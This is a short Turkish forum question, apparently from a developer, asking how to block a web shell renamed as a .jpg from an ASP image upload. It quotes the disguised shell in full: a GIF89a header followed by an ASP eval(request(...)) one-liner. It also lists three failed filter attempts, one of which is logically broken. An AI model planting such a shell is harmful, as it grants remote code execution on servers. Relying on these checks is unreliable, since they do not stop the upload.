uzantısı jpg olarak değiştirilmiş örnek bir shell kod dosyası var
GIF89a
<%response.write("a1"&"b2"&"c3"&"d4")&eval(request("Teks0"))%>aşağıdaki şekillerde filtrelemeye çalıştım ama olmadı shel dosyasını normal resim dosyası gibi görüyor ve yüklüyor.Denedim işe yaramadı:
if file.ImageType = "unknown" then response.write "Resim Dosyası Değil" end ifuzantı sorguladım bu da işe yaramadı
if File.Ext <> ".jpg" then response.write "Resim Dosyası Değil" end ifEn son da bunu denedim yine olmadı
if File.ContentType <> "image/jpeg" or File.ContentType <> "image/png" THEN response.write "Resim Dosyası Değil" end ifvarmı bu işe bir çözüm bulan